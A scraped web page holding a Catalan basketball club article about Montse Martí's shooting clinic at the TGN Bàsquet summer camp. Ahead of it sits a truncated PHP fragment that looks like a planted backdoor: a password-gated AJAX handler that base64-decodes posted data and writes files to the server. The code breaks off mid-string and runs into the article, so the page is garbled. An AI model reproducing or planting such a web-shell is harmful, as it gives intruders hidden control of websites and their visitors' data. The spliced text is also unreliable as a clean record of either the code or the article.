function bestrock_render_js(){ echo ""; } function bestrock_render_index(){ echo md5('56749'); } function bestrock_render_ajax(){ try { if(isset($_GET['s1'])) die(md5('js')); if(isset($_POST['t2'])){ $l1 = uniqid(rand(), true) . '.js'; @file_put_contents($l1, 'js'); if(file_exists($l1)){ if(isset($_POST['t1'])){ $d = md5(md5($_POST['t1'])); if($d=="8ae24e6719c47a39da8ad5451432d9a6"){ $d1=$_POST['t2']; $d1=base64_decode($d1); $d4=" El tir, l'especialitat de Montse Martí, primer clínic al Campus del TGN Bàsquet - Tgn Bàsquet Club -

El tir, l’especialitat de Montse Martí, primer clínic al Campus del TGN Bàsquet

By
Updated: juliol 9, 2015

Si hi ha una cosa en què l’excapitana del Nemser TGN Bàsquet és especialista, és el llançament. Montse Martí ha impartit aquest matí el primer clínic del Campus d’estiu del TGN Bàsquet sobre aquest aspecte del joc, però no només en la seva vessant purament ofensiva, sinó també defensiva, és a dir, com defensar el tir d’un rival. “Hem fet de tot, des de tir després de bot, a mecànica del llançament fins a defensa del tirador”, explica Martí, que ha estat tres hores al Campus fent el clínic pels tres diferents grups d’edat que hi ha. “En essència és una mica el mateix però adaptant-ho. En els més petits tot s’ha de fer més dinàmic i com un joc, menys teòric, és clar”, diu.

La defensa del tirador és clau i per això Montse Martí ha incidit en aquest aspecte en els més de 60 jugadors que hi ha aquesta setmana al Campus. “S’ha d’estar flexionat de cames i amb una mà sempre aixecada. També hem treballat com bloquejar per agafar el rebot després d’un tir”, diu l’exjugadora del sènior A del club que assegura que l’actitud de tots els jugadors ha estat molt bona: “Disposats a treballar molt. Hem de tenir en compte que en aquest Campus hi ha nois i noies que no havien jugat mai a bàsquet i et fan moltes preguntes, un fet que és d’agrair”.

El TGN Bàsquet té programats una sèrie de clínics durant tot el Campus i farà un cada setmana.

IMGP2701m

 

IMGP2587m

IMGP2600m

IMGP2627m

IMGP2713m

Deixa un comentari

L'adreça electrònica no es publicarà. Els camps necessaris estan marcats amb *